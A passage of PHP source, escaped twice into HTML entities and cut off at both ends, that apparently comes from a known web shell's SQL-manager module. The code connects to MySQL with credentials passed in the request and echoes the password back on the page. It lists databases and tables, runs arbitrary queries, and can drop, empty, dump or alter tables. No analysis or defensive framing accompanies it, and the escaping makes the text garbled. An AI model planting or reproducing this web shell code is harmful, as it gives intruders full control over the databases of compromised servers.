if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo &amp;quot;&amp;lt;TABLE style=\&amp;quot;BORDER-COLLAPSE: collapse\&amp;quot; cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\&amp;quot;100%\&amp;quot; bgColor=#000000 borderColorLight=#c0c0c0 border=1&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td width=\&amp;quot;100%\&amp;quot; valign=\&amp;quot;top\&amp;quot;&amp;gt;&amp;quot;.$donated_html.&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
echo &amp;quot;&amp;lt;TABLE style=\&amp;quot;BORDER-COLLAPSE: collapse\&amp;quot; cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\&amp;quot;100%\&amp;quot; bgColor=#000000 borderColorLight=#c0c0c0 border=1&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td width=\&amp;quot;100%\&amp;quot; valign=\&amp;quot;top\&amp;quot;&amp;gt;&amp;quot;;&lt;br /&gt;
if ($act == &amp;quot;&amp;quot;) {$act = $dspact = &amp;quot;ls&amp;quot;;}&lt;br /&gt;
if ($act == &amp;quot;sql&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 $sql_surl = $surl.&amp;quot;act=sql&amp;quot;;&lt;br /&gt;
 if ($sql_login)  {$sql_surl .= &amp;quot;&amp;amp;sql_login=&amp;quot;.htmlspecialchars($sql_login);}&lt;br /&gt;
 if ($sql_passwd) {$sql_surl .= &amp;quot;&amp;amp;sql_passwd=&amp;quot;.htmlspecialchars($sql_passwd);}&lt;br /&gt;
 if ($sql_server) {$sql_surl .= &amp;quot;&amp;amp;sql_server=&amp;quot;.htmlspecialchars($sql_server);}&lt;br /&gt;
 if ($sql_port)   {$sql_surl .= &amp;quot;&amp;amp;sql_port=&amp;quot;.htmlspecialchars($sql_port);}&lt;br /&gt;
 if ($sql_db)     {$sql_surl .= &amp;quot;&amp;amp;sql_db=&amp;quot;.htmlspecialchars($sql_db);}&lt;br /&gt;
 $sql_surl .= &amp;quot;&amp;amp;&amp;quot;;&lt;br /&gt;
 ?&amp;gt;&amp;lt;h3&amp;gt;Attention! SQL-Manager is &amp;lt;u&amp;gt;NOT&amp;lt;/u&amp;gt; ready module! Don't reports bugs.&amp;lt;/h3&amp;gt;&amp;lt;TABLE style=&amp;quot;BORDER-COLLAPSE: collapse&amp;quot; height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=&amp;quot;100%&amp;quot; bgColor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor=&amp;quot;#C0C0C0&amp;quot;&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td width=&amp;quot;100%&amp;quot; height=&amp;quot;1&amp;quot; colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;&amp;lt;center&amp;gt;&amp;lt;?php&lt;br /&gt;
 if ($sql_server)&lt;br /&gt;
 {&lt;br /&gt;
  $sql_sock = mysql_connect($sql_server.&amp;quot;:&amp;quot;.$sql_port, $sql_login, $sql_passwd);&lt;br /&gt;
  $err = mysql_smarterror();&lt;br /&gt;
  @mysql_select_db($sql_db,$sql_sock);&lt;br /&gt;
  if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}&lt;br /&gt;
 }&lt;br /&gt;
 else {$sql_sock = FALSE;}&lt;br /&gt;
 echo &amp;quot;&amp;lt;b&amp;gt;SQL Manager:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
 if (!$sql_sock)&lt;br /&gt;
 {&lt;br /&gt;
  if (!$sql_server) {echo &amp;quot;NO CONNECTION&amp;quot;;}&lt;br /&gt;
  else {echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Can't connect&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;&amp;quot;; echo &amp;quot;&amp;lt;b&amp;gt;&amp;quot;.$err.&amp;quot;&amp;lt;/b&amp;gt;&amp;quot;;}&lt;br /&gt;
 }&lt;br /&gt;
 else&lt;br /&gt;
 {&lt;br /&gt;
  $sqlquicklaunch = array();&lt;br /&gt;
  $sqlquicklaunch[] = array(&amp;quot;Index&amp;quot;,$surl.&amp;quot;act=sql&amp;amp;sql_login=&amp;quot;.htmlspecialchars($sql_login).&amp;quot;&amp;amp;sql_passwd=&amp;quot;.htmlspecialchars($sql_passwd).&amp;quot;&amp;amp;sql_server=&amp;quot;.htmlspecialchars($sql_server).&amp;quot;&amp;amp;sql_port=&amp;quot;.htmlspecialchars($sql_port).&amp;quot;&amp;amp;&amp;quot;);&lt;br /&gt;
  $sqlquicklaunch[] = array(&amp;quot;Query&amp;quot;,$sql_surl.&amp;quot;sql_act=query&amp;amp;sql_tbl=&amp;quot;.urlencode($sql_tbl));&lt;br /&gt;
  $sqlquicklaunch[] = array(&amp;quot;Server-status&amp;quot;,$surl.&amp;quot;act=sql&amp;amp;sql_login=&amp;quot;.htmlspecialchars($sql_login).&amp;quot;&amp;amp;sql_passwd=&amp;quot;.htmlspecialchars($sql_passwd).&amp;quot;&amp;amp;sql_server=&amp;quot;.htmlspecialchars($sql_server).&amp;quot;&amp;amp;sql_port=&amp;quot;.htmlspecialchars($sql_port).&amp;quot;&amp;amp;sql_act=serverstatus&amp;quot;);&lt;br /&gt;
  $sqlquicklaunch[] = array(&amp;quot;Server variables&amp;quot;,$surl.&amp;quot;act=sql&amp;amp;sql_login=&amp;quot;.htmlspecialchars($sql_login).&amp;quot;&amp;amp;sql_passwd=&amp;quot;.htmlspecialchars($sql_passwd).&amp;quot;&amp;amp;sql_server=&amp;quot;.htmlspecialchars($sql_server).&amp;quot;&amp;amp;sql_port=&amp;quot;.htmlspecialchars($sql_port).&amp;quot;&amp;amp;sql_act=servervars&amp;quot;);&lt;br /&gt;
  $sqlquicklaunch[] = array(&amp;quot;Processes&amp;quot;,$surl.&amp;quot;act=sql&amp;amp;sql_login=&amp;quot;.htmlspecialchars($sql_login).&amp;quot;&amp;amp;sql_passwd=&amp;quot;.htmlspecialchars($sql_passwd).&amp;quot;&amp;amp;sql_server=&amp;quot;.htmlspecialchars($sql_server).&amp;quot;&amp;amp;sql_port=&amp;quot;.htmlspecialchars($sql_port).&amp;quot;&amp;amp;sql_act=processes&amp;quot;);&lt;br /&gt;
  $sqlquicklaunch[] = array(&amp;quot;Logout&amp;quot;,$surl.&amp;quot;act=sql&amp;quot;);&lt;br /&gt;
  echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;MySQL &amp;quot;.mysql_get_server_info().&amp;quot; (proto v.&amp;quot;.mysql_get_proto_info ().&amp;quot;) running in &amp;quot;.htmlspecialchars($sql_server).&amp;quot;:&amp;quot;.htmlspecialchars($sql_port).&amp;quot; as &amp;quot;.htmlspecialchars($sql_login).&amp;quot;@&amp;quot;.htmlspecialchars($sql_server).&amp;quot; (password - \&amp;quot;&amp;quot;.htmlspecialchars($sql_passwd).&amp;quot;\&amp;quot;)&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
  if (count($sqlquicklaunch) &amp;gt; 0) {foreach($sqlquicklaunch as $item) {echo &amp;quot;[ &amp;lt;a href=\&amp;quot;&amp;quot;.$item[1].&amp;quot;\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;.$item[0].&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt; ] &amp;quot;;}}&lt;br /&gt;
  echo &amp;quot;&amp;lt;/center&amp;gt;&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
 echo &amp;quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;quot;;&lt;br /&gt;
 if (!$sql_sock) {?&amp;gt;&amp;lt;td width=&amp;quot;28%&amp;quot; height=&amp;quot;100&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;&amp;lt;center&amp;gt;&amp;lt;font size=&amp;quot;5&amp;quot;&amp;gt; i &amp;lt;/font&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;li&amp;gt;If login is null, login is owner of process.&amp;lt;li&amp;gt;If host is null, host is localhost&amp;lt;/b&amp;gt;&amp;lt;li&amp;gt;If port is null, port is 3306 (default)&amp;lt;/td&amp;gt;&amp;lt;td width=&amp;quot;90%&amp;quot; height=&amp;quot;1&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;&amp;lt;TABLE height=1 cellSpacing=0 cellPadding=0 width=&amp;quot;100%&amp;quot; border=0&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;b&amp;gt;Please, fill the form:&amp;lt;/b&amp;gt;&amp;lt;table&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Username&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Password&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Database&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;form action=&amp;quot;&amp;lt;?php echo $surl; ?&amp;gt;&amp;quot; method=&amp;quot;POST&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;act&amp;quot; value=&amp;quot;sql&amp;quot;&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;sql_login&amp;quot; value=&amp;quot;root&amp;quot; maxlength=&amp;quot;64&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input type=&amp;quot;password&amp;quot; name=&amp;quot;sql_passwd&amp;quot; value=&amp;quot;&amp;quot; maxlength=&amp;quot;64&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;sql_db&amp;quot; value=&amp;quot;&amp;quot; maxlength=&amp;quot;64&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Host&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;PORT&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td align=right&amp;gt;&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;sql_server&amp;quot; value=&amp;quot;localhost&amp;quot; maxlength=&amp;quot;64&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;sql_port&amp;quot; value=&amp;quot;3306&amp;quot; maxlength=&amp;quot;6&amp;quot; size=&amp;quot;3&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Connect&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;?php }&lt;br /&gt;
 else&lt;br /&gt;
 {&lt;br /&gt;
  //Start left panel&lt;br /&gt;
  if (!empty($sql_db))&lt;br /&gt;
  {&lt;br /&gt;
   ?&amp;gt;&amp;lt;td width=&amp;quot;25%&amp;quot; height=&amp;quot;100%&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;&amp;lt;a href=&amp;quot;&amp;lt;?php echo $surl.&amp;quot;act=sql&amp;amp;sql_login=&amp;quot;.htmlspecialchars($sql_login).&amp;quot;&amp;amp;sql_passwd=&amp;quot;.htmlspecialchars($sql_passwd).&amp;quot;&amp;amp;sql_server=&amp;quot;.htmlspecialchars($sql_server).&amp;quot;&amp;amp;sql_port=&amp;quot;.htmlspecialchars($sql_port).&amp;quot;&amp;amp;&amp;quot;; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Home&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;hr size=&amp;quot;1&amp;quot; noshade&amp;gt;&amp;lt;?php&lt;br /&gt;
   $result = mysql_list_tables($sql_db);&lt;br /&gt;
   if (!$result) {echo mysql_smarterror();}&lt;br /&gt;
   else&lt;br /&gt;
   {&lt;br /&gt;
    echo &amp;quot;---[ &amp;lt;a href=\&amp;quot;&amp;quot;.$sql_surl.&amp;quot;&amp;amp;\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;.htmlspecialchars($sql_db).&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt; ]---&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
    $c = 0;&lt;br /&gt;
    while ($row = mysql_fetch_array($result)) {$count = mysql_query (&amp;quot;SELECT COUNT(*) FROM &amp;quot;.$row[0]); $count_row = mysql_fetch_array($count); echo &amp;quot;&amp;lt;b&amp;gt;»&amp;amp;nbsp;&amp;lt;a href=\&amp;quot;&amp;quot;.$sql_surl.&amp;quot;sql_db=&amp;quot;.htmlspecialchars($sql_db).&amp;quot;&amp;amp;sql_tbl=&amp;quot;.htmlspecialchars($row[0]).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;.htmlspecialchars($row[0]).&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt; (&amp;quot;.$count_row[0].&amp;quot;)&amp;lt;/br&amp;gt;&amp;lt;/b&amp;gt;&amp;quot;; mysql_free_result($count); $c++;}&lt;br /&gt;
    if (!$c) {echo &amp;quot;No tables found in database.&amp;quot;;}&lt;br /&gt;
   }&lt;br /&gt;
  }&lt;br /&gt;
  else&lt;br /&gt;
  {&lt;br /&gt;
   ?&amp;gt;&amp;lt;td width=&amp;quot;1&amp;quot; height=&amp;quot;100&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;&amp;lt;a href=&amp;quot;&amp;lt;?php echo $sql_surl; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Home&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;hr size=&amp;quot;1&amp;quot; noshade&amp;gt;&amp;lt;?php&lt;br /&gt;
   $result = mysql_list_dbs($sql_sock);&lt;br /&gt;
   if (!$result) {echo mysql_smarterror();}&lt;br /&gt;
   else&lt;br /&gt;
   {&lt;br /&gt;
    ?&amp;gt;&amp;lt;form action=&amp;quot;&amp;lt;?php echo $surl; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;act&amp;quot; value=&amp;quot;sql&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_login&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_login); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_passwd&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_passwd); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_server&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_server); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_port&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_port); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;select name=&amp;quot;sql_db&amp;quot;&amp;gt;&amp;lt;?php&lt;br /&gt;
    $c = 0;&lt;br /&gt;
    $dbs = &amp;quot;&amp;quot;;&lt;br /&gt;
    while ($row = mysql_fetch_row($result)) {$dbs .= &amp;quot;&amp;lt;option value=\&amp;quot;&amp;quot;.$row[0].&amp;quot;\&amp;quot;&amp;quot;; if ($sql_db == $row[0]) {$dbs .= &amp;quot; selected&amp;quot;;} $dbs .= &amp;quot;&amp;gt;&amp;quot;.$row[0].&amp;quot;&amp;lt;/option&amp;gt;&amp;quot;; $c++;}&lt;br /&gt;
    echo &amp;quot;&amp;lt;option value=\&amp;quot;\&amp;quot;&amp;gt;Databases (&amp;quot;.$c.&amp;quot;)&amp;lt;/option&amp;gt;&amp;quot;;&lt;br /&gt;
    echo $dbs;&lt;br /&gt;
   }&lt;br /&gt;
   ?&amp;gt;&amp;lt;/select&amp;gt;&amp;lt;hr size=&amp;quot;1&amp;quot; noshade&amp;gt;Please, select database&amp;lt;hr size=&amp;quot;1&amp;quot; noshade&amp;gt;&amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Go&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;?php&lt;br /&gt;
  }&lt;br /&gt;
  //End left panel&lt;br /&gt;
  echo &amp;quot;&amp;lt;/td&amp;gt;&amp;lt;td width=\&amp;quot;100%\&amp;quot; height=\&amp;quot;1\&amp;quot; valign=\&amp;quot;top\&amp;quot;&amp;gt;&amp;quot;;&lt;br /&gt;
  //Start center panel&lt;br /&gt;
  $diplay = TRUE;&lt;br /&gt;
  if ($sql_db)&lt;br /&gt;
  {&lt;br /&gt;
   if (!is_numeric($c)) {$c = 0;}&lt;br /&gt;
   if ($c == 0) {$c = &amp;quot;no&amp;quot;;}&lt;br /&gt;
   echo &amp;quot;&amp;lt;hr size=\&amp;quot;1\&amp;quot; noshade&amp;gt;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;There are &amp;quot;.$c.&amp;quot; table(s) in this DB (&amp;quot;.htmlspecialchars($sql_db).&amp;quot;).&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
   if (count($dbquicklaunch) &amp;gt; 0) {foreach($dbsqlquicklaunch as $item) {echo &amp;quot;[ &amp;lt;a href=\&amp;quot;&amp;quot;.$item[1].&amp;quot;\&amp;quot;&amp;gt;&amp;quot;.$item[0].&amp;quot;&amp;lt;/a&amp;gt; ] &amp;quot;;}}&lt;br /&gt;
   echo &amp;quot;&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;&amp;quot;;&lt;br /&gt;
   $acts = array(&amp;quot;&amp;quot;,&amp;quot;dump&amp;quot;);&lt;br /&gt;
   if ($sql_act == &amp;quot;tbldrop&amp;quot;) {$sql_query = &amp;quot;DROP TABLE&amp;quot;; foreach($boxtbl as $v) {$sql_query .= &amp;quot;\n`&amp;quot;.$v.&amp;quot;` ,&amp;quot;;} $sql_query = substr($sql_query,0,-1).&amp;quot;;&amp;quot;; $sql_act = &amp;quot;query&amp;quot;;}&lt;br /&gt;
   elseif ($sql_act == &amp;quot;tblempty&amp;quot;) {$sql_query = &amp;quot;&amp;quot;; foreach($boxtbl as $v) {$sql_query .= &amp;quot;DELETE FROM `&amp;quot;.$v.&amp;quot;` \n&amp;quot;;} $sql_act = &amp;quot;query&amp;quot;;}&lt;br /&gt;
   elseif ($sql_act == &amp;quot;tbldump&amp;quot;) {if (count($boxtbl) &amp;gt; 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = &amp;quot;dump&amp;quot;;}&lt;br /&gt;
   elseif ($sql_act == &amp;quot;tblcheck&amp;quot;) {$sql_query = &amp;quot;CHECK TABLE&amp;quot;; foreach($boxtbl as $v) {$sql_query .= &amp;quot;\n`&amp;quot;.$v.&amp;quot;` ,&amp;quot;;} $sql_query = substr($sql_query,0,-1).&amp;quot;;&amp;quot;; $sql_act = &amp;quot;query&amp;quot;;}&lt;br /&gt;
   elseif ($sql_act == &amp;quot;tbloptimize&amp;quot;) {$sql_query = &amp;quot;OPTIMIZE TABLE&amp;quot;; foreach($boxtbl as $v) {$sql_query .= &amp;quot;\n`&amp;quot;.$v.&amp;quot;` ,&amp;quot;;} $sql_query = substr($sql_query,0,-1).&amp;quot;;&amp;quot;; $sql_act = &amp;quot;query&amp;quot;;}&lt;br /&gt;
   elseif ($sql_act == &amp;quot;tblrepair&amp;quot;) {$sql_query = &amp;quot;REPAIR TABLE&amp;quot;; foreach($boxtbl as $v) {$sql_query .= &amp;quot;\n`&amp;quot;.$v.&amp;quot;` ,&amp;quot;;} $sql_query = substr($sql_query,0,-1).&amp;quot;;&amp;quot;; $sql_act = &amp;quot;query&amp;quot;;}&lt;br /&gt;
   elseif ($sql_act == &amp;quot;tblanalyze&amp;quot;) {$sql_query = &amp;quot;ANALYZE TABLE&amp;quot;; foreach($boxtbl as $v) {$sql_query .= &amp;quot;\n`&amp;quot;.$v.&amp;quot;` ,&amp;quot;;} $sql_query = substr($sql_query,0,-1).&amp;quot;;&amp;quot;; $sql_act = &amp;quot;query&amp;quot;;}&lt;br /&gt;
   elseif ($sql_act == &amp;quot;deleterow&amp;quot;) {$sql_query = &amp;quot;&amp;quot;; if (!empty($boxrow_all)) {$sql_query = &amp;quot;DELETE * FROM `&amp;quot;.$sql_tbl.&amp;quot;`;&amp;quot;;} else {foreach($boxrow as $v) {$sql_query .= &amp;quot;DELETE * FROM `&amp;quot;.$sql_tbl.&amp;quot;` WHERE&amp;quot;.$v.&amp;quot; LIMIT 1;\n&amp;quot;;} $sql_query = substr($sql_query,0,-1);} $sql_act = &amp;quot;query&amp;quot;;}&lt;br /&gt;
   elseif ($sql_tbl_act == &amp;quot;insert&amp;quot;)&lt;br /&gt;
   {&lt;br /&gt;
    if ($sql_tbl_insert_radio == 1)&lt;br /&gt;
    {&lt;br /&gt;
     $keys = &amp;quot;&amp;quot;;&lt;br /&gt;
     $akeys = array_keys($sql_tbl_insert);&lt;br /&gt;
     foreach ($akeys as $v) {$keys .= &amp;quot;`&amp;quot;.addslashes($v).&amp;quot;`, &amp;quot;;}&lt;br /&gt;
     if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}&lt;br /&gt;
     $values = &amp;quot;&amp;quot;;&lt;br /&gt;
     $i = 0;&lt;br /&gt;
     foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct.&amp;quot; (&amp;quot;;} $values .= &amp;quot;'&amp;quot;.addslashes($v).&amp;quot;'&amp;quot;; if ($funct) {$values .= &amp;quot;)&amp;quot;;} $values .= &amp;quot;, &amp;quot;; $i++;}&lt;br /&gt;
     if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}&lt;br /&gt;
     $sql_query = &amp;quot;INSERT INTO `&amp;quot;.$sql_tbl.&amp;quot;` ( &amp;quot;.$keys.&amp;quot; ) VALUES ( &amp;quot;.$values.&amp;quot; );&amp;quot;;&lt;br /&gt;
     $sql_act = &amp;quot;query&amp;quot;;&lt;br /&gt;
     $sql_tbl_act = &amp;quot;browse&amp;quot;;&lt;br /&gt;
    }&lt;br /&gt;
    elseif ($sql_tbl_insert_radio == 2)&lt;br /&gt;
    {&lt;br /&gt;
     $set = mysql_buildwhere($sql_tbl_insert,&amp;quot;, &amp;quot;,$sql_tbl_insert_functs);&lt;br /&gt;
     $sql_query = &amp;quot;UPDATE `&amp;quot;.$sql_tbl.&amp;quot;` SET &amp;quot;.$set.&amp;quot; WHERE &amp;quot;.$sql_tbl_insert_q.&amp;quot; LIMIT 1;&amp;quot;;&lt;br /&gt;
     $result = mysql_query($sql_query) or print(mysql_smarterror());&lt;br /&gt;
     $result = mysql_fetch_array($result, MYSQL_ASSOC);&lt;br /&gt;
     $sql_act = &amp;quot;query&amp;quot;;&lt;br /&gt;
     $sql_tbl_act = &amp;quot;browse&amp;quot;;&lt;br /&gt;
    }&lt;br /&gt;
   }&lt;br /&gt;
   if ($sql_act == &amp;quot;query&amp;quot;)&lt;br /&gt;
   {&lt;br /&gt;
    echo &amp;quot;&amp;lt;hr size=\&amp;quot;1\&amp;quot; noshade&amp;gt;&amp;quot;;&lt;br /&gt;
    if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = &amp;quot;Query was empty&amp;quot;;} echo &amp;quot;&amp;lt;b&amp;gt;Error:&amp;lt;/b&amp;gt; &amp;lt;br&amp;gt;&amp;quot;.$sql_query_error.&amp;quot;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
    if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}&lt;br /&gt;
    if ((!$submit) or ($sql_act)) {echo &amp;quot;&amp;lt;table border=\&amp;quot;0\&amp;quot; width=\&amp;quot;100%\&amp;quot; height=\&amp;quot;1\&amp;quot;&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;form action=\&amp;quot;&amp;quot;.$sql_surl.&amp;quot;\&amp;quot; method=\&amp;quot;POST\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;; if (($sql_query) and (!$submit)) {echo &amp;quot;Do you really want to:&amp;quot;;} else {echo &amp;quot;SQL-Query :&amp;quot;;} echo &amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;textarea name=\&amp;quot;sql_query\&amp;quot; cols=\&amp;quot;100\&amp;quot; rows=\&amp;quot;10\&amp;quot;&amp;gt;&amp;quot;.htmlspecialchars($sql_query).&amp;quot;&amp;lt;/textarea&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_act\&amp;quot; value=\&amp;quot;query\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_tbl\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($sql_tbl).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;submit\&amp;quot; value=\&amp;quot;1\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_goto\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($sql_goto).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;submit\&amp;quot; name=\&amp;quot;sql_confirm\&amp;quot; value=\&amp;quot;Yes\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;submit\&amp;quot; value=\&amp;quot;No\&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;quot;;}&lt;br /&gt;
   }&lt;br /&gt;
   if (in_array($sql_act,$acts))&lt;br /&gt;
   {&lt;br /&gt;
    ?&amp;gt;&amp;lt;table border=&amp;quot;0&amp;quot; width=&amp;quot;100%&amp;quot; height=&amp;quot;1&amp;quot;&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td width=&amp;quot;30%&amp;quot; height=&amp;quot;1&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Create new table:&amp;lt;/b&amp;gt;&amp;lt;form action=&amp;quot;&amp;lt;?php echo $surl; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;act&amp;quot; value=&amp;quot;sql&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_act&amp;quot; value=&amp;quot;newtbl&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_db&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_db); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_login&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_login); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_passwd&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_passwd); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_server&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_server); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_port&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_port); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;sql_newtbl&amp;quot; size=&amp;quot;20&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Create&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td width=&amp;quot;30%&amp;quot; height=&amp;quot;1&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Dump DB:&amp;lt;/b&amp;gt;&amp;lt;form action=&amp;quot;&amp;lt;?php echo $surl; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;act&amp;quot; 